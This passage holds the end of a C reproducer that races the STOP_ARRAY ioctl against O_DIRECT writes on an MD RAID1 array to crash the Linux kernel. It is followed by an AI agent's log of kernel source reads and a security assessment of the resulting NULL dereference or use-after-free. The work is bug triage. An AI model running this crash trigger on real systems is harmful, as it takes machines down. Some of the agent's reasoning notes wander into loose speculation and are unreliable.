return NULL;
}
int main(void) {
SETUP_UNBUFFERED_IO();
PIN_TO_CPU(0);
/* O_DIRECT requires aligned memory buffers */
if (posix_memalign((void **)&buf, 4096, 4096) != 0) {
printf("[-] Failed to posix_memalign: %s\n", strerror(errno));
exit(1);
}
memset(buf, 0, 4096);
printf("[+] posix_memalign successful.\n");
char temp_path[] = "/tmp/loop_backing_XXXXXX";
int file_fd = mkstemp(temp_path);
if (file_fd < 0) {
printf("[-] Failed to mkstemp: %s\n", strerror(errno));
exit(1);
}
unlink(temp_path);
printf("[+] mkstemp successful.\n");
if (ftruncate(file_fd, 1024 * 1024) < 0) {
printf("[-] Failed to ftruncate: %s\n", strerror(errno));
exit(1);
}
printf("[+] ftruncate successful.\n");
int control_fd = open("/dev/loop-control", O_RDWR);
if (control_fd < 0) {
printf("[-] Failed to open /dev/loop-control: %s\n", strerror(errno));
exit(1);
}
int dev_num = ioctl(control_fd, LOOP_CTL_GET_FREE, 0);
close(control_fd);
if (dev_num < 0) {
printf("[-] Failed to ioctl LOOP_CTL_GET_FREE: %s\n", strerror(errno));
exit(1);
}
printf("[+] ioctl LOOP_CTL_GET_FREE successful, dev_num=%d.\n", dev_num);
char loop_path[64];
snprintf(loop_path, sizeof(loop_path), "/dev/loop%d", dev_num);
int loop_fd = open(loop_path, O_RDWR);
if (loop_fd < 0) {
printf("[-] Failed to open %s: %s\n", loop_path, strerror(errno));
exit(1);
}
if (ioctl(loop_fd, LOOP_SET_FD, file_fd) < 0) {
printf("[-] Failed to ioctl LOOP_SET_FD: %s\n", strerror(errno));
exit(1);
}
printf("[+] loop device setup successful.\n");
/* Create and open the MD device node with O_DIRECT to bypass page cache */
unlink("/dev/md142");
if (mknod("/dev/md142", S_IFBLK | 0600, makedev(9, 142)) < 0) {
if (errno != EEXIST) {
printf("[-] Failed to mknod /dev/md142: %s\n", strerror(errno));
exit(1);
}
}
printf("[+] mknod /dev/md142 successful.\n");
md_fd = open("/dev/md142", O_RDWR | O_DIRECT);
if (md_fd < 0) {
printf("[-] Failed to open /dev/md142: %s\n", strerror(errno));
exit(1);
}
printf("[+] open /dev/md142 successful.\n");
struct stat st;
if (stat(loop_path, &st) < 0) {
printf("[-] Failed to stat %s: %s\n", loop_path, strerror(errno));
exit(1);
}
printf("[+] stat successful.\n");
pthread_t th;
if (pthread_create(&th, NULL, write_thread, NULL) != 0) {
printf("[-] Failed to pthread_create: %s\n", strerror(errno));
exit(1);
}
printf("[+] pthread_create successful.\n");
printf("Starting race loop. The kernel should crash shortly...\n");
TIMER_START(start);
while (TIMER_NOT_EXPIRED(start, 10.0)) {
mdu_array_info_t array_info;
memset(&array_info, 0, sizeof(array_info));
array_info.level = 1; /* RAID1 */
array_info.size = 1024;
array_info.nr_disks = 1;
array_info.raid_disks = 1;
array_info.md_minor = 142;
array_info.not_persistent = 1;
if (ioctl(md_fd, SET_ARRAY_INFO, &array_info) < 0) {
ioctl(md_fd, STOP_ARRAY, 0);
continue;
}
mdu_disk_info_t disk_info;
memset(&disk_info, 0, sizeof(disk_info));
disk_info.number = 0;
disk_info.major = major(st.st_rdev);
disk_info.minor = minor(st.st_rdev);
disk_info.raid_disk = 0;
disk_info.state = (1 << MD_DISK_ACTIVE) | (1 << MD_DISK_SYNC);
if (ioctl(md_fd, ADD_NEW_DISK, &disk_info) < 0) {
ioctl(md_fd, STOP_ARRAY, 0);
continue;
}
mdu_param_t param;
memset(¶m, 0, sizeof(param));
if (ioctl(md_fd, RUN_ARRAY, ¶m) < 0) {
ioctl(md_fd, STOP_ARRAY, 0);
continue;
}
/* Trigger the teardown race */
ioctl(md_fd, STOP_ARRAY, 0);
}
__atomic_store_n(&stop, 1, __ATOMIC_RELEASE);
pthread_join(th, NULL);
close(md_fd);
ioctl(loop_fd, LOOP_CLR_FD, 0);
close(loop_fd);
close(file_fd);
printf("[+] Race loop finished without crashing.\n");
return 0;
}
Reply: I have analyzed the bug report and the provided source code.
### Bug Mechanism
The bug is a race condition between an incoming I/O request (`pwrite64`) and the `STOP_ARRAY` ioctl on an MD RAID1 device.
1. **Thread 1 (I/O):**
- Submits a bio to the MD device via `pwrite64`.
- The bio reaches `md_handle_request()`. It gets an active I/O reference (`percpu_ref_tryget_live(&mddev->active_io)`).
- It calls `mddev->pers->make_request(mddev, bio)`, which resolves to `raid1_make_request()`.
- `raid1_make_request()` calls `raid1_write_request()`.
- `raid1_write_request()` reads `struct r1conf *conf = mddev->private;` and passes it to `wait_barrier(conf, sector)`.
- `wait_barrier()` calls `_wait_barrier(conf, idx)`, which attempts to increment `conf->nr_pending[idx]`.
2. **Thread 2 (STOP_ARRAY ioctl):**
- Calls `ioctl(md_fd, STOP_ARRAY, 0)`.
- `md_ioctl()` handles `STOP_ARRAY`. It checks `capable(CAP_SYS_ADMIN)` and then calls `mddev_lock(mddev)`. Note that `STOP_ARRAY` does **not** suspend I/O (`md_ioctl_need_suspend(STOP_ARRAY)` returns false, so it doesn't call `mddev_suspend_and_lock()`).
- It calls `do_md_stop(mddev, 0)`.
- `do_md_stop()` calls `__md_stop_writes(mddev)` and then `__md_stop(mddev)`.
- `__md_stop()` calls `mddev_detach(mddev)`, which flushes some things but doesn't wait for `mddev->active_io` to drop to zero (unlike `mddev_suspend()`).
- `__md_stop()` then frees `mddev->private` by calling `pers->free(mddev, mddev->private)` (which is `raid1_free()`, freeing the `conf` structure) and sets `mddev->private = NULL`.
If Thread 1 reads `mddev->private` exactly after Thread 2 sets it to `NULL`, Thread 1 will pass `NULL` to `wait_barrier()`, resulting in a NULL pointer dereference when accessing `conf->nr_pending` (offset 0x120). This matches the crash report (`KASAN: null-ptr-deref in range [0x0000000000000120-0x0000000000000127]`).
If Thread 1 reads `mddev->private` before Thread 2 frees it, but accesses it after it is freed, it results in a Use-After-Free (UAF).
### Security Assessment
1. **Exploitability:**
- The crash manifests as a NULL pointer dereference, which typically causes a kernel panic (Denial of Service).
- However, because `mddev->private` points to a dynamically allocated structure (`struct r1conf`) that is freed via `kfree()` during `__md_stop()`, there is a race window where the pointer is read before it is set to `NULL`, but dereferenced after the memory has been freed. This constitutes a Use-After-Free (UAF) vulnerability.
- UAF vulnerabilities in the kernel are generally considered exploitable for privilege escalation or memory corruption, assuming an attacker can control the timing and reallocate the freed memory. Thus, it is marked as Exploitable.
2. **Denial of Service:**
- Triggering the bug reliably crashes the kernel (General Protection Fault / NULL pointer dereference panic), leading to a complete Denial of Service.
3. **Accessibility (Unprivileged / User Namespaces):**
- The `STOP_ARRAY` ioctl is protected by `md_ioctl_valid()`, which explicitly checks `capable(CAP_SYS_ADMIN)`.
- The `capable()` function checks for the capability in the initial user namespace, not the current user namespace (which would be `ns_capable()`).
- Therefore, an unprivileged user cannot trigger this bug, even if they create a new user namespace. Root privileges in the initial namespace are required to issue the `STOP_ARRAY` ioctl.
4. **Other Triggers (Network, Peripheral, Filesystem, VM Guest/Host):**
- The bug is located in the MD RAID management code. It requires local access to the block device and the ability to issue specific ioctls (`STOP_ARRAY`).
- It cannot be triggered remotely via network packets, by plugging in a peripheral, by mounting a malicious filesystem, or from a VM guest (unless the guest is explicitly given raw access to the host's MD device and privileges, which is not a standard or secure configuration).
### Conclusion
The bug is a Use-After-Free / NULL pointer dereference in the MD RAID subsystem caused by a race condition between I/O requests and the `STOP_ARRAY` ioctl. While it is technically exploitable (UAF) and causes a Denial of Service, it is not accessible to unprivileged users or from within user namespaces, as it requires `CAP_SYS_ADMIN` in the initial namespace to trigger the necessary ioctl.
|
| 6/2 |
2026/08/26 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 12642
output: 37
thoughts: 797
Thoughts: **Analyzing a Kernel Bug Report: RAID1 and Concurrent I/O**
Okay, I've got a kernel crash report here, a general protection fault, likely a non-canonical address. KASAN is reporting a null-pointer dereference. The RIP is pointing right at `_wait_barrier` within `drivers/md/raid1.c`, specifically at line 1066. This screams RAID1, which is always interesting.
The stack trace reveals the following: It looks like the error is originating within `wait_barrier` which is called within `raid1_write_request`, then `raid1_make_request`, going all the way down through the block layer's I/O submission paths. It's a pretty standard I/O path ending at the `__x64_sys_pwrite64` syscall.
The reproducer description gives me a crucial clue: a loop device, an MD RAID1 setup, and a race condition between `pwrite` and `STOP_ARRAY` IOCTL. My intuition tells me this race is likely the culprit here. We've got concurrent access, and based on the reported fault, it's looking like a classic data race or a use-after-free scenario within the RAID1 code.
I need to dive into `drivers/md/raid1.c` around line 1066. I need to understand the logic in `_wait_barrier`, and how it interacts with the `raid1_write_request` function during a write operation, and how this interacts with the `STOP_ARRAY` IOCTL. I'll need to pay close attention to the barrier synchronization mechanisms and any potential for mismanaged pointers or race conditions when shutting down the RAID array while I/O is in flight. My first line of attack is understanding the locking strategy, and then analyzing the `STOP_ARRAY` function.
|
| 7/2 |
2026/08/26 10:30 |
tool |
read-file |
0m
Args: map[File:drivers/md/raid1.c FirstLine:1050 LineCount:50]
Results: map[Contents:1050:
1051: atomic_dec(&conf->barrier[idx]);
1052: atomic_dec(&conf->nr_sync_pending);
1053: wake_up(&conf->wait_barrier);
1054: }
1055:
1056: static void _wait_barrier(struct r1conf *conf, int idx)
1057: {
1058: /*
1059: * We need to increase conf->nr_pending[idx] very early here,
1060: * then raise_barrier() can be blocked when it waits for
1061: * conf->nr_pending[idx] to be 0. Then we can avoid holding
1062: * conf->resync_lock when there is no barrier raised in same
1063: * barrier unit bucket. Also if the array is frozen, I/O
1064: * should be blocked until array is unfrozen.
1065: */
1066: atomic_inc(&conf->nr_pending[idx]);
1067: /*
1068: * In _wait_barrier() we firstly increase conf->nr_pending[idx], then
1069: * check conf->barrier[idx]. In raise_barrier() we firstly increase
1070: * conf->barrier[idx], then check conf->nr_pending[idx]. A memory
1071: * barrier is necessary here to make sure conf->barrier[idx] won't be
1072: * fetched before conf->nr_pending[idx] is increased. Otherwise there
1073: * will be a race between _wait_barrier() and raise_barrier().
1074: */
1075: smp_mb__after_atomic();
1076:
1077: /*
1078: * Don't worry about checking two atomic_t variables at same time
1079: * here. If during we check conf->barrier[idx], the array is
1080: * frozen (conf->array_frozen is 1), and chonf->barrier[idx] is
1081: * 0, it is safe to return and make the I/O continue. Because the
1082: * array is frozen, all I/O returned here will eventually complete
1083: * or be queued, no race will happen. See code comment in
1084: * frozen_array().
1085: */
1086: if (!READ_ONCE(conf->array_frozen) &&
1087: !atomic_read(&conf->barrier[idx]))
1088: return;
1089:
1090: /*
1091: * After holding conf->resync_lock, conf->nr_pending[idx]
1092: * should be decreased before waiting for barrier to drop.
1093: * Otherwise, we may encounter a race condition because
1094: * raise_barrer() might be waiting for conf->nr_pending[idx]
1095: * to be 0 at same time.
1096: */
1097: spin_lock_irq(&conf->resync_lock);
1098: atomic_inc(&conf->nr_waiting[idx]);
1099: atomic_dec(&conf->nr_pending[idx]);
]
|
| 8/2 |
2026/08/26 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 14749
output: 21
thoughts: 135
Thoughts: **Debugging a Null Pointer Dereference in Barrier Wait**
Okay, so I'm staring at this crash report in `_wait_barrier`. The KASAN report flags a null-pointer dereference at `atomic_inc(&conf->nr_pending[idx]);`. That's interesting. The key is that KASAN's telling me the address range it's complaining about is `[0x0000000000000120-0x0000000000000127]`. Right, so this means either `conf->nr_pending` is NULL, or *maybe* `conf` itself is a null pointer. Let's see... `conf` is a pointer to a `struct r1conf`. Okay, so `struct r1conf` is where the problem is. Now I have to look into the structure of `struct r1conf`, and that address to confirm the dereference location.
|
| 9/2 |
2026/08/26 10:30 |
tool |
codesearch-struct-layout |
0m
Args:
Results: map[Fields:[map[Name:mddev OffsetBits:0 SizeBits:64] map[Name:mirrors OffsetBits:64 SizeBits:64] map[Name:raid_disks OffsetBits:128 SizeBits:32] map[Name:nonrot_disks OffsetBits:160 SizeBits:32] map[Name:device_lock OffsetBits:192 SizeBits:512] map[Name:retry_list OffsetBits:704 SizeBits:128] map[Name:bio_end_io_list OffsetBits:832 SizeBits:128] map[Name:pending_bio_list OffsetBits:960 SizeBits:128] map[Name:wait_barrier OffsetBits:1088 SizeBits:640] map[Name:resync_lock OffsetBits:1728 SizeBits:512] map[Name:nr_sync_pending OffsetBits:2240 SizeBits:32] map[Name:nr_pending OffsetBits:2304 SizeBits:64] map[Name:nr_waiting OffsetBits:2368 SizeBits:64] map[Name:nr_queued OffsetBits:2432 SizeBits:64] map[Name:barrier OffsetBits:2496 SizeBits:64] map[Name:array_frozen OffsetBits:2560 SizeBits:32] map[Name:fullsync OffsetBits:2592 SizeBits:32] map[Name:r1bio_pool OffsetBits:2624 SizeBits:64] map[Name:r1buf_pool OffsetBits:2688 SizeBits:1472] map[Name:bio_split OffsetBits:4160 SizeBits:4608] map[Name:tmppage OffsetBits:8768 SizeBits:64] map[Name:thread OffsetBits:8832 SizeBits:64] map[Name:cluster_sync_low OffsetBits:8896 SizeBits:64] map[Name:cluster_sync_high OffsetBits:8960 SizeBits:64]]]
|
| 10/2 |
2026/08/26 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 15670
output: 21
thoughts: 128
Thoughts: **Deconstructing the Pending Counter**
Okay, so `nr_pending` is sitting at offset 2304 bits, which is the same as 288 bytes, or 0x120. Got it. Right, right, `conf->nr_pending` - that's a pointer, and it's located at offset 0x120.
Hang on a second. I see `atomic_inc(&conf->nr_pending[idx]);`. If `conf` is a pointer, then `&conf->nr_pending[idx]` should resolve to `conf->nr_pending + idx`. That makes sense.
Wait... is `conf->nr_pending` itself a *pointer*? Something feels off. Time to check the definition of `struct r1conf` to confirm exactly what `nr_pending` is. Need to verify that assumption.
|
| 11/2 |
2026/08/26 10:30 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 52: struct r1conf {
53: struct mddev *mddev;
54: struct raid1_info *mirrors; /* twice 'raid_disks' to
55: * allow for replacements.
56: */
57: int raid_disks;
58: int nonrot_disks;
59:
60: spinlock_t device_lock;
61:
62: /* list of 'struct r1bio' that need to be processed by raid1d,
63: * whether to retry a read, writeout a resync or recovery
64: * block, or anything else.
65: */
66: struct list_head retry_list;
67: /* A separate list of r1bio which just need raid_end_bio_io called.
68: * This mustn't happen for writes which had any errors if the superblock
69: * needs to be written.
70: */
71: struct list_head bio_end_io_list;
72:
73: /* queue pending writes to be submitted on unplug */
74: struct bio_list pending_bio_list;
75:
76: /* for use when syncing mirrors:
77: * We don't allow both normal IO and resync/recovery IO at
78: * the same time - resync/recovery can only happen when there
79: * is no other IO. So when either is active, the other has to wait.
80: * See more details description in raid1.c near raise_barrier().
81: */
82: wait_queue_head_t wait_barrier;
83: spinlock_t resync_lock;
84: atomic_t nr_sync_pending;
85: atomic_t *nr_pending;
86: atomic_t *nr_waiting;
87: atomic_t *nr_queued;
88: atomic_t *barrier;
89: int array_frozen;
90:
91: /* Set to 1 if a full sync is needed, (fresh device added).
92: * Cleared when a sync completes.
93: */
94: int fullsync;
95:
96: mempool_t *r1bio_pool;
97: mempool_t r1buf_pool;
98:
99: struct bio_set bio_split;
100:
101: /* temporary buffer to synchronous IO when attempting to repair
102: * a read error.
103: */
104: struct page *tmppage;
105:
106: /* When taking over an array from a different personality, we store
107: * the new thread here until we fully activate the array.
108: */
109: struct md_thread __rcu *thread;
110:
111: /* Keep track of cluster resync window to send to other
112: * nodes.
113: */
114: sector_t cluster_sync_low;
115: sector_t cluster_sync_high;
116:
117: };
SourceFile:drivers/md/raid1.h]
|
| 12/2 |
2026/08/26 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 16946
output: 37
thoughts: 795
Thoughts: **Debugging a Null Pointer Dereference**
Okay, so I've got a crash at `atomic_inc(&conf->nr_pending[idx]);`. Right off the bat, KASAN flags a null-pointer dereference, meaning something is fundamentally wrong with how I'm accessing memory. The error reports a null-ptr-deref in a specific range and the core issue seems to be that `conf->nr_pending` is null. But, hold on a second... the KASAN report suggests `conf` itself isn't null because the offset is 0x120. If `conf` *were* null, the access would be at the offset.
Let's dissect this with the assembly. I see `mov 0x120(%rbx), %r12`, and that looks like `conf->nr_pending` is being read into `%r12`. `%rbx` represents `conf`. Then, the trapping instruction pops up: `cmpb $0x0, (%rax,%r12,1)`. I recognize that as a KASAN shadow memory check, but what is it checking? It's looking at `conf->nr_pending + idx`. If `conf->nr_pending` is NULL, then this simplifies to `idx * sizeof(atomic_t)`. If `idx` is small, that brings us close to the beginning of memory, near NULL.
I went and calculated the shadow address for 0x120, which is `0xdffffc0000000024`. This maps to the shadow address for 0x120, which is where the problem lies.
So the address being accessed is 0x120, which means `conf->nr_pending` is being accessed. Now the pieces are fitting together! `conf` *must* be null. Okay, I've got to re-read the assembly, because something isn't right. I'm seeing:
`mov %gs:0xc0e1e31(%rip),%rax`
`mov %rax,0xd0(%rsp)`
`xor %eax,%eax`
`call 0xf991400d` (KASAN or something)
`mov %rbp,%rax`
`shr $0x3,%rax`
`cmpb $0x0,(%rax,%r12,1)` <-- trapping instruction.
Here, `%rbp` is `0x120`. So, this instruction is accessing address `0x120`. `%r12` holds the KASAN shadow offset. This means, the code is trying to access address `0x120`. I'm back at the same conclusion: since `0x120` maps to `&conf->nr_pending`, and it's being accessed, `conf` must be NULL! Time to find where `conf` is being set and find the source of the problem.
|
| 13/2 |
2026/08/26 10:30 |
tool |
read-file |
0m
Args: map[File:drivers/md/raid1.c FirstLine:1150 LineCount:20]
Results: map[Contents:1150: static void wait_barrier(struct r1conf *conf, sector_t sector_nr)
1151: {
1152: int idx = sector_to_idx(sector_nr);
1153:
1154: _wait_barrier(conf, idx);
1155: }
1156:
1157: static void _allow_barrier(struct r1conf *conf, int idx)
1158: {
1159: atomic_dec(&conf->nr_pending[idx]);
1160: wake_up_barrier(conf);
1161: }
1162:
1163: static void allow_barrier(struct r1conf *conf, sector_t sector_nr)
1164: {
1165: int idx = sector_to_idx(sector_nr);
1166:
1167: _allow_barrier(conf, idx);
1168: }
1169:
]
|
| 14/2 |
2026/08/26 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 18713
output: 37
thoughts: 18
Thoughts: Here's my understanding of the situation, presented from my perspective as an expert:
**Understanding the `wait_barrier` Call**
Okay, so I'm digging into this code, and it looks like `wait_barrier` is being invoked directly from `raid1_write_request`. This is crucial. Knowing this connection immediately raises some key questions in my mind. What kind of barrier are we talking about? Is this a data barrier, a metadata barrier, or something else entirely? The context of `raid1_write_request` is critical to understanding the implications of calling `wait_barrier`. I need to figure out the exact purpose of this barrier within the RAID-1 write process. Is it about ensuring that all mirrors are synchronized before acknowledging the write to the host? Does it involve some form of ordered completion guarantee to satisfy some consistency requirements? Knowing the specifics of the data protection scheme in use, and any associated consistency model, is essential. From this information I can understand the performance implications; if the barrier is too expensive, it will impact write performance. If it's too weak, the data integrity may be compromised, and data may become corrupt.
|
| 15/2 |
2026/08/26 10:30 |
tool |
read-file |
0m
Args: map[File:drivers/md/raid1.c FirstLine:1490 LineCount:30]
Results: map[Contents:1490: sector_t sector = bio->bi_iter.bi_sector;
1491:
1492: if (mddev_is_clustered(mddev) &&
1493: mddev->cluster_ops->area_resyncing(mddev, WRITE, sector,
1494: bio_end_sector(bio))) {
1495: wait_event_idle(conf->wait_barrier,
1496: !mddev->cluster_ops->area_resyncing(mddev, WRITE,
1497: sector,
1498: bio_end_sector(bio)));
1499: }
1500:
1501: /*
1502: * Register the new request and wait if the reconstruction
1503: * thread has put up a bar for new requests.
1504: * Continue immediately if no resync is active currently.
1505: */
1506: wait_barrier(conf, sector);
1507:
1508: wait_blocked_rdev(mddev, bio);
1509:
1510: r1_bio = alloc_r1bio(mddev, bio);
1511: r1_bio->sectors = max_sectors;
1512:
1513: /* first select target devices under rcu_lock and
1514: * inc refcount on their rdev. Record them by setting
1515: * bios[x] to bio
1516: * If there are known/acknowledged bad blocks on any device on
1517: * which we have seen a write error, we want to avoid writing those
1518: * blocks.
1519: * This potentially requires several writes to write around
]
|
| 16/2 |
2026/08/26 10:30 |
llm |
expert |
0m
Model:
Tokens:
input: 19490
output: 37
thoughts: 12
Thoughts: Okay, let's dive into this `raid1_make_request` function.
**Analyzing raid1_make_request**
Alright, so I'm about to dissect `raid1_make_request`. Given my background, I'm already anticipating how this function handles requests within a RAID1 setup. I'm going to be looking for key aspects: how it receives and validates the input data, how it distributes the write operations across the mirrored drives, the error handling involved, and of course, how it manages read operations. I need to understand if this is a synchronous or asynchronous implementation, and how the completion is signaled. I expect there'll be locking mechanisms to ensure data consistency, particularly around metadata updates. It will also be important to understand how any existing I/O scheduler interacts with the RAID, and whether any optimizations are done regarding sequential I/O and block alignment. The goal is to ensure data integrity and system performance. So, let's see how well this function does the job.
|
| 17/2 |
2026/08/26 10:31 |
tool |
read-file |
0m
Args: map[File:drivers/md/raid1.c FirstLine:1680 LineCount:30]
Results: map[Contents:1680: return true;
1681:
1682: /*
1683: * There is a limit to the maximum size, but
1684: * the read/write handler might find a lower limit
1685: * due to bad blocks. To avoid multiple splits,
1686: * we pass the maximum number of sectors down
1687: * and let the lower level perform the split.
1688: */
1689: sectors = align_to_barrier_unit_end(
1690: bio->bi_iter.bi_sector, bio_sectors(bio));
1691:
1692: if (bio_data_dir(bio) == READ)
1693: raid1_read_request(mddev, bio, sectors, NULL);
1694: else {
1695: md_write_start(mddev, bio);
1696: if (!raid1_write_request(mddev, bio, sectors))
1697: md_write_end(mddev);
1698: }
1699: return true;
1700: }
1701:
1702: static void raid1_status(struct seq_file *seq, struct mddev *mddev)
1703: {
1704: struct r1conf *conf = mddev->private;
1705: int i;
1706:
1707: lockdep_assert_held(&mddev->lock);
1708:
1709: seq_printf(seq, " [%d/%d] [", conf->raid_disks,
]
|
| 18/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 20200
output: 37
thoughts: 46
Thoughts: Okay, here's my interpretation of those thoughts, presented as a personal thought process, as requested:
**Deconstructing the RAID1 Write Request Flow**
Hmm, so I'm looking at `raid1_make_request`. The core question here is, how exactly does the write operation get passed down the line? It looks like `conf`, which I believe is the configuration structure for the RAID1 setup, is being passed *directly* to `raid1_write_request`. Okay, makes sense, that configuration is critical.
But hang on... let me re-examine `raid1_write_request`. It's expecting, from the looks of it, a combination of parameters. It wants the `mddev`, which makes sense; that's the metadata device. It *also* needs the `bio` structure - which contains the actual I/O request. And... the `sectors` involved. Right, that makes logical sense. It must parse the `bio` structure and split the I/O, if necessary, to each disk.
So it's looking like `raid1_make_request` is responsible for building the correct argument set to pass the write to the low-level functions. I'll need to go deeper to understand *how* it's doing this, but the direction seems fairly clear now. It seems I am on the right track; the high-level request is broken down to the low-level devices at this layer.
|
| 19/2 |
2026/08/26 10:31 |
tool |
read-file |
0m
Args: map[File:drivers/md/raid1.c FirstLine:1480 LineCount:20]
Results: map[Contents:1480: int max_sectors)
1481: {
1482: struct r1conf *conf = mddev->private;
1483: struct r1bio *r1_bio;
1484: int i, disks, k;
1485: unsigned long flags;
1486: int first_clone;
1487: bool write_behind = false;
1488: bool atomic = bio->bi_opf & REQ_ATOMIC;
1489: bool is_discard = op_is_discard(bio->bi_opf);
1490: sector_t sector = bio->bi_iter.bi_sector;
1491:
1492: if (mddev_is_clustered(mddev) &&
1493: mddev->cluster_ops->area_resyncing(mddev, WRITE, sector,
1494: bio_end_sector(bio))) {
1495: wait_event_idle(conf->wait_barrier,
1496: !mddev->cluster_ops->area_resyncing(mddev, WRITE,
1497: sector,
1498: bio_end_sector(bio)));
1499: }
]
|
| 20/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 20931
output: 22
thoughts: 84
Thoughts: Here's my understanding of the situation, presented from my perspective as an expert:
**Tracing the NULL Pointer in the MD Driver**
Okay, so I'm looking at this code and trying to figure out where this potential NULL pointer dereference could be occurring. I see that the `conf` variable is directly tied to `mddev->private`. Makes sense, that's how it's usually done within the MD layer. But the fact that `conf` *could* be NULL implies that `mddev->private` might also be NULL at some point. That's the critical question: Why would `mddev->private` ever be NULL? What sequence of events leads to that state?
The reproducer apparently highlights a race condition between `pwrite` calls, which are submitting BIOs, and `STOP_ARRAY`. That's interesting. I know `STOP_ARRAY` eventually makes its way to `do_md_stop`, which in turn calls `__md_stop`. My hunch is that within that `__md_stop` sequence is where something is going wrong. Perhaps the array is being shut down and the private data is being released before a `pwrite` operation can complete and safely access it. I need to dig deeper into the code paths of both `pwrite` and `__md_stop` to see if there's a window where `mddev->private` could be nulled out while a BIO is still pending. This is likely the root cause I need to identify.
|
| 21/2 |
2026/08/26 10:31 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7084: static void __md_stop(struct mddev *mddev)
7085: {
7086: struct md_personality *pers = mddev->pers;
7087:
7088: mddev_detach(mddev);
7089: md_bitmap_destroy(mddev);
7090: spin_lock(&mddev->lock);
7091: mddev->pers = NULL;
7092: spin_unlock(&mddev->lock);
7093: if (mddev->private)
7094: pers->free(mddev, mddev->private);
7095: mddev->private = NULL;
7096: put_pers(pers);
7097: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7098: }
SourceFile:drivers/md/md.c]
|
| 22/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 21610
output: 23
thoughts: 49
Thoughts: Okay, here's my take on those thoughts, framed as my own mental processing:
**Analyzing the `__md_stop` Function's Impact**
Right, so `__md_stop` is going in and nullifying `mddev->private`. That's a crucial operation. It's the signal to the device mapper that everything is being shut down. Okay, so that should be a nice clean tear down.
Hold on though, I need to consider the bigger picture. I have to make sure there are no loose ends. I see that `md_handle_request` is invoked every time a bio request comes in for the device, and I can't have stale pointers or hanging operations. This means I've got to carefully consider what happens to the bios which may be in flight when the device is stopped. The interaction between the two functions is vital. I'd better dig into how `md_handle_request` works in this context now. It's the crucial link, and its behavior during device stop is what will determine if this code is safe and robust. Let's see how that's implemented.
|
| 23/2 |
2026/08/26 10:31 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_handle_request]
Results: map[SourceCode: 396: bool md_handle_request(struct mddev *mddev, struct bio *bio)
397: {
398: check_suspended:
399: if (unlikely(md_cloned_bio(mddev, bio))) {
400: /*
401: * This bio is an MD cloned bio and already holds an
402: * active_io reference, so percpu_ref_get() is safe here.
403: */
404: percpu_ref_get(&mddev->active_io);
405: } else {
406: if (is_suspended(mddev, bio)) {
407: /* Bail out if REQ_NOWAIT is set for the bio */
408: if (bio->bi_opf & REQ_NOWAIT) {
409: bio_wouldblock_error(bio);
410: return true;
411: }
412: wait_event(mddev->sb_wait, !is_suspended(mddev, bio));
413: }
414: if (!percpu_ref_tryget_live(&mddev->active_io))
415: goto check_suspended;
416: }
417: if (!mddev->pers->make_request(mddev, bio)) {
418: percpu_ref_put(&mddev->active_io);
419: if (mddev_is_dm(mddev) && mddev->pers->prepare_suspend)
420: return false;
421: goto check_suspended;
422: }
423:
424: percpu_ref_put(&mddev->active_io);
425: return true;
426: }
SourceFile:drivers/md/md.c]
|
| 24/2 |
2026/08/26 10:31 |
llm |
expert |
0m
Model:
Tokens:
input: 22444
output: 23
thoughts: 86
Thoughts: **Analyzing the Array Stop Process**
Okay, so I'm tracing through this code, specifically looking at how the array is stopped. I see `md_handle_request` calls `mddev->pers->make_request(mddev, bio)`. That's the key function for handling I/O. And I remember now, that this function holds a reference to `mddev->active_io` through `percpu_ref_tryget_live`. This reference is critical because it tells us if the array is actively processing I/O, right?
So, if `mddev->active_io` is still "alive" – meaning that `percpu_ref_tryget_live` hasn't returned an error – then it strongly suggests the array hasn't stopped, as I/O operations are still being actively managed. Makes perfect sense.
Now I need to go back and check the `do_md_stop` function, as that is responsible for actually initiating the stop process. I need to understand how `do_md_stop` interacts with this reference count and ensures that `active_io` is properly decremented. I need to see if it waits for all outstanding I/O to complete before finally stopping the array. This is where the core logic of the stop process will lie.
|
| 25/2 |
2026/08/26 10:31 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7158: /* mode:
7159: * 0 - completely stop and dis-assemble array
7160: * 2 - stop but do not disassemble array
7161: */
7162: static int do_md_stop(struct mddev *mddev, int mode)
7163: {
7164: struct gendisk *disk = mddev->gendisk;
7165: struct md_rdev *rdev;
7166: int did_freeze = 0;
7167:
7168: if (!test_bit(MD_RECOVERY_FROZEN, &mddev->recovery)) {
7169: did_freeze = 1;
7170: set_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7171: }
7172:
7173: stop_sync_thread(mddev, true);
7174:
7175: if (mddev->sysfs_active ||
7176: test_bit(MD_RECOVERY_RUNNING, &mddev->recovery)) {
7177: pr_warn("md: %s still in use.\n",mdname(mddev));
7178: if (did_freeze) {
7179: clear_bit(MD_RECOVERY_FROZEN, &mddev->recovery);
7180: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
7181: }
7182: return -EBUSY;
7183: }
7184: if (mddev->pers) {
7185: if (!md_is_rdwr(mddev))
7186: set_disk_ro(disk, 0);
7187:
7188: if (mode == 2 && mddev->pers->sync_request &&
7189: mddev->to_remove == NULL)
7190: mddev->to_remove = &md_redundancy_group;
7191:
7192: __md_stop_writes(mddev);
7193: __md_stop(mddev);
7194:
7195: /* tell userspace to handle 'inactive' */
7196: sysfs_notify_dirent_safe(mddev->sysfs_state);
7197:
7198: rdev_for_each(rdev, mddev)
7199: if (rdev->raid_disk >= 0)
7200: sysfs_unlink_rdev(mddev, rdev);
7201:
7202: set_capacity_and_notify(disk, 0);
7203: mddev->changed = 1;
7204:
7205: if (!md_is_rdwr(mddev))
7206: mddev->ro = MD_RDWR;
7207: }
7208: /*
7209: * Free resources if final stop
7210: */
7211: if (mode == 0) {
7212: pr_info("md: %s stopped.\n", mdname(mddev));
7213:
7214: if (mddev->bitmap_info.file) {
7215: struct file *f = mddev->bitmap_info.file;
7216: spin_lock(&mddev->lock);
